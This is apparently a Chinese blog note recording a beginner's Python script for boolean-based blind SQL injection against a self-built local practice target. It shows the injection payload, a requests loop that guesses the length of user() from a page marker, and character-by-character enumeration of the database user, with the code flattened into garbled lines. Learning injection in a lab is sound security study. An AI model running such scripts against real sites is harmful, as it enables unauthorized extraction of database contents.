前言:
最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录。
sqmap也有不灵的时候,有时需要根据情况自写脚本探测
正文:
本地用大表姐给的sql和php文件搭建了个布尔盲注的靶机
稍作解释:
注入语句里用%s占位,等待在for循里面依次判断长度
l = "' and length(user())=%s and '1'='1" |
requests获取页面执行返回,find方法定位成功的页面特征booooom
#find()方法对字符串的处理,如果匹配到,则返回索引,第几位匹配到,若没有匹配到,则返回-1,即返回一直为int型
1
2
3
4
5
6
7
8
|
for i in range ( 1 , 20 ) : sql = l % str ( i ) judge 1 = requests. get ( url % sql , headers = headers , timeout = 60 ) #print(judge1.content) if judge 1. content .find ( "Name:booooom" ) ! = -1 : length = i print ( i ) break |
此处判断得出长度为14
得出长度下一步来一位一位判断字符,
先把字符集存在列表待取
check_data = list ( ' 1234567890 abcdefghijklmnopqrstuvwxyz@' ) |
接下来的套路与判断长度一样 先在for循环里枚举字符与数据做对比,if判断对比一致则可以匹配到页面特征booooom
最后一位一位判断出数据库用户
一个一个猜库名 表名和内容 ,是一样的套路 有兴趣的可以练练手。